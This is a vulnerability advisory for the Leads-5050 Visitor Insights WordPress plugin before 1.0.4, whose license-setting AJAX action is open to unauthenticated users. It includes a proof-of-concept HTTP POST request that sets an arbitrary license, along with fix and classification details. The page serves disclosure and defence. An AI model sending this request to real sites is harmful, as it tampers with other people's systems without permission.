Leads-5050 Visitor Insights < 1.0.4 – Unauthenticated License Change | Plugin Vulnerabilities

Description

The leads5050_set_license AJAX action was available to unauthenticated users allowing them to set an arbitrary license in the plugins settings

Proof of Concept

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
Connection: close

action=leads5050_set_license&api_license=AAAA2

Affects Plugins

leads-5050-visitor-insights

Fixed in 1.0.4

References

URL

https://plugins.trac.wordpress.org/changeset/2477098

Classification

Type

ACCESS CONTROLS

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Verified

Yes

WPVDB ID

8ab02102-e4ee-4262-a785-0e9c6a30251f

Timeline

Publicly Published

2021-05-07 (about 4 years ago)

Added

2021-05-07 (about 4 years ago)

Last Updated

2021-05-07 (about 4 years ago)

Other

Published

Title

Published

2021-10-05

Title

WP Survey Plus <= 1.0 - Subscriber+ AJAX Calls

Published

2023-09-03

Title

FileOrganizer < 1.0.3 - Admin+ Arbitrary File Access

Published

2024-02-26

Title

Duitku Payment Gateway < 2.11.7 - Missing Authorization via check_duitku_response

Published

2021-06-30

Title

Title Field Validation <= 1.1 - Unauthorised AJAX Calls

Published

2020-09-22

Title

Coditor <= 1.1 - Arbitrary File Edition, Deletion and Internal Directory Listing in wp-content